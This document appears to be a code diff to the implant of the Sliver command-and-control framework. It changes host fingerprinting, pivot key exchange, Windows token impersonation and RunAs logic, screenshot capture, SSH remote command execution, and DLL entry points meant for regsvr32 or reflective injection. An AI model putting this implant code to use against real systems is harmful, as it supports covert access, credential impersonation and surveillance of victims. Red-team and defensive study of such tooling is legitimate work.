 			LocalAddr: &sliverpb.SockTabEntry_SockAddr{
-				Ip:   e.LocalAddr.IP.String(),
+				Ip:   e.LocalAddr.String(),
 				Port: uint32(e.LocalAddr.Port),
 			},
 			RemoteAddr: &sliverpb.SockTabEntry_SockAddr{
-				Ip:   e.RemoteAddr.IP.String(),
+				Ip:   e.RemoteAddr.String(),
 				Port: uint32(e.RemoteAddr.Port),
 			},
 			SkState: e.State.String(),
@@ -295,11 +315,7 @@ func runSSHCommandHandler(data []byte, resp RPCResponse) {
 		commandReq.Username,
 		commandReq.Password,
 		commandReq.PrivKey,
-		commandReq.Krb5Conf,
-		commandReq.Keytab,
-		commandReq.Realm,
-		commandReq.Command,
-	)
+		commandReq.Command)
 	commandResp := &sliverpb.SSHCommand{
 		Response: &commonpb.Response{},
 		StdOut:   stdout,

implant/sliver/hostuuid/uuid.go

@@ -31,10 +31,8 @@ import (
 	"github.com/gofrs/uuid"
 )
 
-var zeroGUID = uuid.Must(uuid.FromString("00000000-0000-0000-0000-000000000000"))
-
 // UUIDFromMAC - Generate a UUID based on the machine's MAC addresses, this is
-// generally used as a last resort to fingerprint the host machine. It creates
+// generally used as a last resort to fingerpint the host machine. It creates
 // a uuid by hashing the MAC addresses of all network interfaces and using the
 // first 16 bytes of the hash as the UUID. This should work so long as network
 // interfaces are not added or removed, since its physical addresses this should
@@ -43,49 +41,24 @@ func UUIDFromMAC() string {
 	// {{if .Config.Debug}}
 	log.Printf("Generating host UUID from hardware addresses ...")
 	// {{end}}
-	return zeroGUID.String()
 	interfaces, err := net.Interfaces()
 	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("Couldn't list net interfaces, returning zeroGUID: %v\n", err)
-		// {{end}}
-		return zeroGUID.String()
+		return ""
 	}
-	// {{if .Config.Debug}}
-	log.Printf("Got interfaces: %+v\n", interfaces)
-	// {{end}}
 	hardwareAddrs := []string{}
 	for _, iface := range interfaces {
 		if iface.HardwareAddr != nil {
 			hardwareAddrs = append(hardwareAddrs, iface.HardwareAddr.String())
 		}
 	}
-	if len(hardwareAddrs) == 0 {
-		// {{if .Config.Debug}}
-		log.Printf("No hardware addresses found (hardwareAddrs empty), returning zeroGUID\n")
-		// {{end}}
-		return zeroGUID.String()
-	}
-	// {{if .Config.Debug}}
-	log.Printf("Hardware addrs: %+v\n", hardwareAddrs)
-	// {{end}}
 	sort.Strings(hardwareAddrs) // Ensure deterministic order
 	digest := sha256.New()
 	for _, addr := range hardwareAddrs {
 		digest.Write([]byte(addr))
 	}
-	// {{if .Config.Debug}}
-	log.Printf("Digest: %+v\n", digest.Sum(nil)[:16])
-	// {{end}}
 	value, err := uuid.FromBytes(digest.Sum(nil)[:16]) // Must be 128-bits
 	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("Couldn't generate UUID from hardware addresses, returning zeroGUID: %v\n", err)
-		// {{end}}
-		return zeroGUID.String()
+		return ""
 	}
-	// {{if .Config.Debug}}
-	log.Printf("UUID: %s\n", value.String())
-	// {{end}}
 	return value.String()
 }

implant/sliver/hostuuid/uuid_darwin.go

@@ -1,23 +1,23 @@
-//go:build darwin
+// +build darwin
 
 package hostuuid
 
 /*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
+Sliver Implant Framework
+Copyright (C) 2019  Bishop Fox
 
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
 
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
 
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+You should have received a copy of the GNU General Public License
+along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
 /*

implant/sliver/hostuuid/uuid_linux.go

@@ -1,4 +1,5 @@
 //go:build linux
+// +build linux
 
 package hostuuid
 
@@ -22,15 +23,15 @@ package hostuuid
 
 import (
 	"fmt"
-	"os"
+	"io/ioutil"
 )
 
 // GetUUID - Get a system specific UUID
 func GetUUID() string {
-	uuid, err := os.ReadFile("/etc/machine-id")
+	uuid, err := ioutil.ReadFile("/etc/machine-id")
 	// UUID length is 32 plus newline
 	if err != nil || len(uuid) != 33 {
-		uuid, err = os.ReadFile("/var/lib/dbus/machine-id")
+		uuid, err = ioutil.ReadFile("/var/lib/dbus/machine-id")
 		if err != nil || len(uuid) != 33 {
 			return UUIDFromMAC() // Failed, try to use MAC addresses
 		}

implant/sliver/limits/limits.go

@@ -121,11 +121,9 @@ func ExecLimits() {
 		} else {
 			log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
 		}
-		// {{else}}
-		_ = err
 		// {{end}}
 		os.Exit(1)
-	}
+	} 
 	// {{end}}
 
 	// {{if .Config.Debug}}

implant/sliver/locale/jibberjabber/jibberjabber_suite_test.go

@@ -0,0 +1,13 @@
+package jibberjabber_test
+
+import (
+	. "github.com/onsi/ginkgo"
+	. "github.com/onsi/gomega"
+
+	"testing"
+)
+
+func TestJibberJabber(t *testing.T) {
+	RegisterFailHandler(Fail)
+	RunSpecs(t, "Jibber Jabber Suite")
+}

implant/sliver/locale/jibberjabber/jibberjabber_unix_test.go

@@ -0,0 +1,155 @@
+// +build darwin freebsd linux netbsd openbsd
+
+package jibberjabber_test
+
+import (
+	"errors"
+	"os"
+
+	. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
+
+	. "github.com/onsi/ginkgo"
+	. "github.com/onsi/gomega"
+)
+
+var _ = Describe("Unix", func() {
+	AfterEach(func() {
+		os.Setenv("LC_MESSAGES", "")
+		os.Setenv("LC_ALL", "")
+		os.Setenv("LANG", "en_US.UTF-8")
+	})
+
+	Describe("#DetectIETF", func() {
+		Context("Returns IETF encoded locale", func() {
+			It("should return the locale set to LC_MESSAGES", func() {
+				os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
+				result, _ := DetectIETF()
+				Ω(result).Should(Equal("fr-FR"))
+			})
+
+			It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
+				os.Setenv("LC_ALL", "fr_FR.UTF-8")
+				result, _ := DetectIETF()
+				Ω(result).Should(Equal("fr-FR"))
+			})
+
+			It("should return the locale set to LANG if LC_ALL isn't set", func() {
+				os.Setenv("LANG", "fr_FR.UTF-8")
+				result, _ := DetectIETF()
+				Ω(result).Should(Equal("fr-FR"))
+			})
+
+			It("should return an error if it cannot detect a locale", func() {
+				os.Setenv("LANG", "")
+				_, err := DetectIETF()
+				Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
+			})
+		})
+
+		Context("when the locale is simply 'fr'", func() {
+			BeforeEach(func() {
+				os.Setenv("LANG", "fr")
+			})
+
+			It("should return the locale without a territory", func() {
+				language, err := DetectIETF()
+				Ω(err).ShouldNot(HaveOccurred())
+				Ω(language).Should(Equal("fr"))
+			})
+		})
+	})
+
+	Describe("#DetectLanguage", func() {
+		Context("Returns encoded language", func() {
+			It("should return the language set to LC_MESSAGES", func() {
+				os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
+				result, _ := DetectLanguage()
+				Ω(result).Should(Equal("fr"))
+			})
+
+			It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
+				os.Setenv("LC_ALL", "fr_FR.UTF-8")
+				result, _ := DetectLanguage()
+				Ω(result).Should(Equal("fr"))
+			})
+
+			It("should return the language set to LANG if LC_ALL isn't set", func() {
+				os.Setenv("LANG", "fr_FR.UTF-8")
+				result, _ := DetectLanguage()
+				Ω(result).Should(Equal("fr"))
+			})
+
+			It("should return an error if it cannot detect a language", func() {
+				os.Setenv("LANG", "")
+				_, err := DetectLanguage()
+				Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
+			})
+		})
+	})
+
+	Describe("#DetectLanguageTag", func() {
+		Context("Returns encoded language tag", func() {
+			It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
+				os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
+				result, _ := DetectLanguageTag()
+				base, _ := result.Base()
+				Ω(base.String()).Should(Equal("fr"))
+				region, _ := result.Region()
+				Ω(region.String()).Should(Equal("FR"))
+			})
+
+			It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
+				os.Setenv("LC_ALL", "fr_FR.UTF-8")
+				result, _ := DetectLanguageTag()
+				base, _ := result.Base()
+				Ω(base.String()).Should(Equal("fr"))
+				region, _ := result.Region()
+				Ω(region.String()).Should(Equal("FR"))
+			})
+
+			It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
+				os.Setenv("LANG", "fr_FR.UTF-8")
+				result, _ := DetectLanguageTag()
+				base, _ := result.Base()
+				Ω(base.String()).Should(Equal("fr"))
+				region, _ := result.Region()
+				Ω(region.String()).Should(Equal("FR"))
+			})
+
+			It("should return an error if it cannot detect and parse a language tag", func() {
+				os.Setenv("LANG", "")
+				_, err := DetectLanguageTag()
+				Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
+			})
+		})
+	})
+
+	Describe("#DetectTerritory", func() {
+		Context("Returns encoded territory", func() {
+			It("should return the territory set to LC_MESSAGES", func() {
+				os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
+				result, _ := DetectTerritory()
+				Ω(result).Should(Equal("FR"))
+			})
+
+			It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
+				os.Setenv("LC_ALL", "fr_FR.UTF-8")
+				result, _ := DetectTerritory()
+				Ω(result).Should(Equal("FR"))
+			})
+
+			It("should return the territory set to LANG if LC_ALL isn't set", func() {
+				os.Setenv("LANG", "fr_FR.UTF-8")
+				result, _ := DetectTerritory()
+				Ω(result).Should(Equal("FR"))
+			})
+
+			It("should return an error if it cannot detect a territory", func() {
+				os.Setenv("LANG", "")
+				_, err := DetectTerritory()
+				Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
+			})
+		})
+	})
+
+})

implant/sliver/locale/jibberjabber/jibberjabber_windows_test.go

@@ -0,0 +1,63 @@
+// +build windows
+
+package jibberjabber_test
+
+import (
+	"regexp"
+
+	. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
+
+	. "github.com/onsi/ginkgo"
+	. "github.com/onsi/gomega"
+)
+
+const (
+	LOCALE_REGEXP    = "^[a-z]{2}-[A-Z]{2}$"
+	LANGUAGE_REGEXP  = "^[a-z]{2}$"
+	TERRITORY_REGEXP = "^[A-Z]{2}$"
+)
+
+var _ = Describe("Windows", func() {
+	BeforeEach(func() {
+		locale, err := DetectIETF()
+		Ω(err).Should(BeNil())
+		Ω(locale).ShouldNot(BeNil())
+		Ω(locale).ShouldNot(Equal(""))
+	})
+
+	Describe("#DetectIETF", func() {
+		It("detects correct IETF locale", func() {
+			locale, _ := DetectIETF()
+			matched, _ := regexp.MatchString(LOCALE_REGEXP, locale)
+			Ω(matched).Should(BeTrue())
+		})
+	})
+
+	Describe("#DetectLanguage", func() {
+		It("detects correct Language", func() {
+			language, _ := DetectLanguage()
+			matched, _ := regexp.MatchString(LANGUAGE_REGEXP, language)
+			Ω(matched).Should(BeTrue())
+		})
+	})
+
+	Describe("#DetectLanguageTag", func() {
+		It("detects correct Language Tag", func() {
+			result, _ := DetectLanguageTag()
+			base, _ := result.Base()
+			matched, _ := regexp.MatchString(LANGUAGE_REGEXP, base.String())
+			Ω(matched).Should(BeTrue())
+			region, _ := result.Region()
+			matched, _ = regexp.MatchString(TERRITORY_REGEXP, region.String())
+			Ω(matched).Should(BeTrue())
+		})
+	})
+
+	Describe("#DetectTerritory", func() {
+		It("detects correct Territory", func() {
+			territory, _ := DetectTerritory()
+			matched, _ := regexp.MatchString(TERRITORY_REGEXP, territory)
+			Ω(matched).Should(BeTrue())
+		})
+	})
+})

implant/sliver/netstack/tun.go

@@ -6,7 +6,6 @@
 package netstack
 
 import (
-	"bytes"
 	"context"
 	"crypto/rand"
 	"encoding/binary"
@@ -24,11 +23,10 @@ import (
 	"golang.zx2c4.com/wireguard/tun"
 
 	"golang.org/x/net/dns/dnsmessage"
-	"gvisor.dev/gvisor/pkg/bufferv2"
 	"gvisor.dev/gvisor/pkg/tcpip"
 	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/buffer"
 	"gvisor.dev/gvisor/pkg/tcpip/header"
-	"gvisor.dev/gvisor/pkg/tcpip/link/channel"
 	"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
 	"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
 	"gvisor.dev/gvisor/pkg/tcpip/stack"
@@ -39,16 +37,69 @@ import (
 )
 
 type netTun struct {
-	ep             *channel.Endpoint
 	stack          *stack.Stack
+	dispatcher     stack.NetworkDispatcher
 	events         chan tun.Event
-	incomingPacket chan *bufferv2.View
+	incomingPacket chan buffer.VectorisedView
 	mtu            int
 	dnsServers     []netip.Addr
 	hasV4, hasV6   bool
 }
 
-type Net netTun
+type (
+	endpoint netTun
+	Net      netTun
+)
+
+func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
+	e.dispatcher = dispatcher
+}
+
+func (e *endpoint) IsAttached() bool {
+	return e.dispatcher != nil
+}
+
+func (e *endpoint) MTU() uint32 {
+	mtu, err := (*netTun)(e).MTU()
+	if err != nil {
+		panic(err)
+	}
+	return uint32(mtu)
+}
+
+func (*endpoint) Capabilities() stack.LinkEndpointCapabilities {
+	return stack.CapabilityNone
+}
+
+func (*endpoint) MaxHeaderLength() uint16 {
+	return 0
+}
+
+func (*endpoint) LinkAddress() tcpip.LinkAddress {
+	return ""
+}
+
+func (*endpoint) Wait() {}
+
+func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
+	e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
+	return nil
+}
+
+func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
+	panic("not implemented")
+}
+
+func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
+	panic("not implemented")
+}
+
+func (*endpoint) ARPHardwareType() header.ARPHardwareType {
+	return header.ARPHardwareNone
+}
+
+func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
+}
 
 func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
 	opts := stack.Options{
@@ -57,15 +108,13 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
 		HandleLocal:        true,
 	}
 	dev := &netTun{
-		ep:             channel.New(1024, uint32(mtu), ""),
 		stack:          stack.New(opts),
 		events:         make(chan tun.Event, 10),
-		incomingPacket: make(chan *bufferv2.View),
+		incomingPacket: make(chan buffer.VectorisedView),
 		dnsServers:     dnsServers,
 		mtu:            mtu,
 	}
-	dev.ep.AddNotify(dev)
-	tcpipErr := dev.stack.CreateNIC(1, dev.ep)
+	tcpipErr := dev.stack.CreateNIC(1, (*endpoint)(dev))
 	if tcpipErr != nil {
 		return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
 	}
@@ -118,7 +167,6 @@ func (tun *netTun) Read(buf []byte, offset int) (int, error) {
 	if !ok {
 		return 0, os.ErrClosed
 	}
-
 	return view.Read(buf[offset:])
 }
 
@@ -128,29 +176,17 @@ func (tun *netTun) Write(buf []byte, offset int) (int, error) {
 		return 0, nil
 	}
 
-	pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: bufferv2.MakeWithData(packet)})
+	pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Data: buffer.NewVectorisedView(len(packet), []buffer.View{buffer.NewViewFromBytes(packet)})})
 	switch packet[0] >> 4 {
 	case 4:
-		tun.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
+		tun.dispatcher.DeliverNetworkPacket("", "", ipv4.ProtocolNumber, pkb)
 	case 6:
-		tun.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
+		tun.dispatcher.DeliverNetworkPacket("", "", ipv6.ProtocolNumber, pkb)
 	}
 
 	return len(buf), nil
 }
 
-func (tun *netTun) WriteNotify() {
-	pkt := tun.ep.Read()
-	if pkt == nil {
-		return
-	}
-
-	view := pkt.ToView()
-	pkt.DecRef()
-
-	tun.incomingPacket <- view
-}
-
 func (tun *netTun) Flush() error {
 	return nil
 }
@@ -161,9 +197,9 @@ func (tun *netTun) Close() error {
 	if tun.events != nil {
 		close(tun.events)
 	}
-
-	tun.ep.Close()
-
+	if tun.incomingPacket != nil {
+		close(tun.incomingPacket)
+	}
 	return nil
 }
 
@@ -398,10 +434,11 @@ func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
 		return 0, fmt.Errorf("ping write: mismatched protocols")
 	}
 
-	buf := bytes.NewReader(p)
+	buf := buffer.NewViewFromBytes(p)
+	rdr := buf.Reader()
 	rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
 	// won't block, no deadlines
-	n64, tcpipErr := pc.ep.Write(buf, tcpip.WriteOptions{
+	n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
 		To: &rfa,
 	})
 	if tcpipErr != nil {
@@ -416,8 +453,8 @@ func (pc *PingConn) Write(p []byte) (n int, err error) {
 }
 
 func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
-	e, notifyCh := waiter.NewChannelEntry(waiter.EventIn)
-	pc.wq.EventRegister(&e)
+	e, notifyCh := waiter.NewChannelEntry(nil)
+	pc.wq.EventRegister(&e, waiter.EventIn)
 	defer pc.wq.EventUnregister(&e)
 
 	select {
@@ -451,7 +488,7 @@ func (pc *PingConn) SetDeadline(t time.Time) error {
 }
 
 func (pc *PingConn) SetReadDeadline(t time.Time) error {
-	pc.deadline.Reset(time.Until(t))
+	pc.deadline.Reset(t.Sub(time.Now()))
 	return nil
 }
 

implant/sliver/pivots/pivots.go

@@ -21,6 +21,7 @@ package pivots
 import (
 	"bytes"
 	"crypto/rand"
+	"encoding/base64"
 	"encoding/binary"
 	"errors"
 	"io"
@@ -403,22 +404,23 @@ func (p *NetConnPivot) peerKeyExchange() error {
 	validPeer := cryptography.MinisignVerify(peerHello.PublicKey, peerHello.PublicKeySignature)
 	if !validPeer {
 		// {{if .Config.Debug}}
-		log.Printf("[pivot] invalid peer key: %s (sig: %s)", string(peerHello.PublicKey), peerHello.PublicKeySignature)
+		log.Printf("[pivot] invalid peer key")
 		// {{end}}
 		return ErrFailedKeyExchange
 	}
 	p.downstreamPeerID = peerHello.PeerID
 	sessionKey := cryptography.RandomKey()
 	p.cipherCtx = cryptography.NewCipherContext(sessionKey)
-	ciphertext, err := cryptography.AgeEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
+	ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[pivot] peer encryption failure: %s", err)
 		// {{end}}
 		return ErrFailedKeyExchange
 	}
+	publicKeyRaw, _ := base64.RawStdEncoding.DecodeString(cryptography.ECCPublicKey)
 	peerResponse, _ := proto.Marshal(&pb.PivotHello{
-		PublicKey:          []byte(cryptography.ECCPublicKey),
+		PublicKey:          publicKeyRaw,
 		PublicKeySignature: cryptography.ECCPublicKeySignature,
 		SessionKey:         ciphertext,
 	})

implant/sliver/priv/priv_windows.go

@@ -96,23 +96,7 @@ func SePrivEnable(s string) error {
 }
 
 func RevertToSelf() error {
-	err := windows.RevertToSelf()
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("RevertToSelf Error: %v\n", err)
-		// {{end}}
-	}
-	err = windows.CloseHandle(windows.Handle(CurrentToken))
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("CloseHandle Error: %v\n", err)
-		// {{end}}
-	}
 	CurrentToken = windows.Token(0)
-	return err
-}
-
-func TRevertToSelf() error {
 	return windows.RevertToSelf()
 }
 
@@ -240,12 +224,8 @@ func impersonateUser(username string) (token windows.Token, err error) {
 
 // MakeToken uses LogonUser to create a new logon session with the supplied username, domain and password.
 // It then impersonates the resulting token to allow access to remote network resources as the specified user.
-func MakeToken(domain string, username string, password string, logonType uint32) error {
+func MakeToken(domain string, username string, password string) error {
 	var token windows.Token
-	// Default to LOGON32_LOGON_NEW_CREDENTIALS
-	if logonType == 0 {
-		logonType = syscalls.LOGON32_LOGON_NEW_CREDENTIALS
-	}
 
 	pd, err := windows.UTF16PtrFromString(domain)
 	if err != nil {
@@ -259,11 +239,7 @@ func MakeToken(domain string, username string, password string, logonType uint32
 	if err != nil {
 		return err
 	}
-	if logonType == 0 {
-		err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_WINNT50, &token)
-	} else {
-		err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
-	}
+	err = syscalls.LogonUser(pu, pd, pp, syscalls.LOGON32_LOGON_NEW_CREDENTIALS, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("LogonUser failed: %v\n", err)
@@ -299,82 +275,6 @@ func deleteRegistryKey(keyPath, keyName string) (err error) {
 	return
 }
 
-func RunAs(username string, domain string, password string, program string, args string, show int, netonly bool) (err error) {
-	// call CreateProcessWithLogonW to create a new process with the specified credentials
-	// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw
-	// convert username, domain, password, program, args, env, dir to *uint16
-	u, err := windows.UTF16PtrFromString(username)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("Invalid username\n")
-		// {{end}}
-		return
-	}
-	d, err := windows.UTF16PtrFromString(domain)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("Invalid domain\n")
-		// {{end}}
-		return
-	}
-	p, err := windows.UTF16PtrFromString(password)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("Invalid password\n")
-		// {{end}}
-		return
-	}
-	prog, err := windows.UTF16PtrFromString(program)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("Invalid program\n")
-		// {{end}}
-		return
-	}
-	var cmd *uint16
-	if len(args) > 0 {
-		cmd, err = windows.UTF16PtrFromString(fmt.Sprintf("%s %s", program, args))
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("Invalid prog args\n")
-			// {{end}}
-			return
-		}
-	}
-	var e *uint16
-	// env := os.Environ()
-	// e, err = windows.UTF16PtrFromString(strings.Join(env, "\x00"))
-	// if err != nil {
-	// 	// {{if .Config.Debug}}
-	// 	log.Printf("Invalid env\n")
-	// 	// {{end}}
-	// 	return
-	// }
-	var di *uint16
-
-	// create a new startup info struct
-	si := &syscalls.StartupInfoEx{
-		StartupInfo: windows.StartupInfo{
-			Flags:      windows.STARTF_USESHOWWINDOW,
-			ShowWindow: uint16(show),
-		},
-	}
-	// create a new process info struct
-	pi := &windows.ProcessInformation{}
-	// call CreateProcessWithLogonW
-	var logonFlags uint32 = 0
-	if netonly {
-		logonFlags = 2 // LOGON_NETCREDENTIALS_ONLY
-	}
-	err = syscalls.CreateProcessWithLogonW(u, d, p, logonFlags, prog, cmd, 0, e, di, si, pi)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("CreateProcessWithLogonW failed: %v\n", err)
-		// {{end}}
-	}
-	return
-}
-
 // RunProcessAsUser - Retrieve a primary token belonging to username
 // and starts a new process using that token.
 func RunProcessAsUser(username, command, args string) (out string, err error) {

implant/sliver/screen/screenshot_windows.go

@@ -20,7 +20,6 @@ package screen
 
 import (
 	"bytes"
-	"image"
 	"image/png"
 
 	//{{if .Config.Debug}}
@@ -29,7 +28,7 @@ import (
 	screen "github.com/kbinani/screenshot"
 )
 
-// Screenshot - Retrieve the screenshot of the active displays
+//Screenshot - Retrieve the screenshot of the active displays
 func Screenshot() []byte {
 	return WindowsCapture()
 }
@@ -38,13 +37,15 @@ func Screenshot() []byte {
 func WindowsCapture() []byte {
 	nDisplays := screen.NumActiveDisplays()
 
-	var all image.Rectangle = image.Rect(0, 0, 0, 0)
-
+	var height, width int = 0, 0
 	for i := 0; i < nDisplays; i++ {
 		rect := screen.GetDisplayBounds(i)
-		all = rect.Union(all)
+		if rect.Dy() > height {
+			height = rect.Dy()
+		}
+		width += rect.Dx()
 	}
-	img, err := screen.Capture(all.Min.X, all.Min.Y, all.Dx(), all.Dy())
+	img, err := screen.Capture(0, 0, width, height)
 
 	if err != nil {
 		//{{if .Config.Debug}}

implant/sliver/shell/ssh/ssh.go

@@ -3,21 +3,15 @@ package ssh
 import (
 	"bytes"
 	"fmt"
-	"io/ioutil"
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
 
 	"net"
 	"os"
 
-	"github.com/yiya1989/sshkrb5/krb5forssh"
 	"golang.org/x/crypto/ssh"
 	"golang.org/x/crypto/ssh/agent"
 )
 
-func getClient(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string) (*ssh.Client, error) {
+func getClient(host string, port uint16, username string, password string, privKey []byte) (*ssh.Client, error) {
 	var authMethods []ssh.AuthMethod
 	if password != "" {
 		// Try password auth first
@@ -29,17 +23,6 @@ func getClient(host string, port uint16, username string, password string, privK
 			return nil, err
 		}
 		authMethods = append(authMethods, ssh.PublicKeys(signer))
-	} else if krb5conf != "" && keytab != nil && realm != "" {
-		// Then try kerberos auth
-		krb5ConfData, err := ioutil.ReadFile(krb5conf)
-		if err != nil {
-			return nil, err
-		}
-		sshGSSAPIClient, err := krb5forssh.NewKrb5InitiatorClient(string(krb5ConfData), username, realm, keytab)
-		if err != nil {
-			return nil, err
-		}
-		authMethods = append(authMethods, ssh.GSSAPIWithMICAuthMethod(&sshGSSAPIClient, host))
 	} else {
 		// Use ssh-agent if neither password nor private key has been provided
 		// ssh-agent(1) provides a UNIX socket at $SSH_AUTH_SOCK.
@@ -52,10 +35,6 @@ func getClient(host string, port uint16, username string, password string, privK
 		authMethods = append(authMethods, ssh.PublicKeysCallback(agentClient.Signers))
 	}
 
-	// {{if .Config.Debug}}
-	log.Printf("Auth methods: %+v\n", authMethods)
-	// {{end}}
-
 	config := &ssh.ClientConfig{
 		User: username,
 		Auth: authMethods,
@@ -74,12 +53,12 @@ func getClient(host string, port uint16, username string, password string, privK
 }
 
 // RunSSHCommand - SSH to a host and execute a command
-func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string, command string) (string, string, error) {
+func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, command string) (string, string, error) {
 	var (
 		stdout bytes.Buffer
 		stderr bytes.Buffer
 	)
-	sshc, err := getClient(host, port, username, password, privKey, krb5conf, keytab, realm)
+	sshc, err := getClient(host, port, username, password, privKey)
 	if err != nil {
 		return "", "", err
 	}

implant/sliver/sliver.go

@@ -27,7 +27,6 @@ import "C"
 import (
 	"crypto/rand"
 	"encoding/binary"
-	"errors"
 	"log"
 	insecureRand "math/rand"
 	"os"
@@ -43,11 +42,17 @@ import (
 	"io/ioutil"
 	// {{end}}
 
+	// {{if eq .Config.GOOS "windows"}}
+	"github.com/bishopfox/sliver/implant/sliver/priv"
+	"github.com/bishopfox/sliver/implant/sliver/syscalls"
+
+	// {{end}}
+
 	consts "github.com/bishopfox/sliver/implant/sliver/constants"
 	"github.com/bishopfox/sliver/implant/sliver/handlers"
 	"github.com/bishopfox/sliver/implant/sliver/hostuuid"
-	"github.com/bishopfox/sliver/implant/sliver/limits"
 	"github.com/bishopfox/sliver/implant/sliver/locale"
+	"github.com/bishopfox/sliver/implant/sliver/limits"
 	"github.com/bishopfox/sliver/implant/sliver/pivots"
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/implant/sliver/version"
@@ -65,7 +70,6 @@ import (
 var (
 	InstanceID       string
 	connectionErrors = 0
-	ErrTerminate     = errors.New("terminate")
 )
 
 func init() {
@@ -123,7 +127,6 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
 var isRunning bool = false
 
 // StartW - Export for shared lib build
-//
 //export StartW
 func StartW() {
 	if !isRunning {
@@ -136,25 +139,21 @@ func StartW() {
 //https://github.com/Ne0nd0g/merlin/blob/master/cmd/merlinagentdll/main.go#L65
 
 // VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
-//
 //export VoidFunc
 func VoidFunc() { main() }
 
 // DllInstall is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /n /i sliver.dll)
 // https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
-//
 //export DllInstall
 func DllInstall() { main() }
 
 // DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
-//
 //export DllRegisterServer
 func DllRegisterServer() { main() }
 
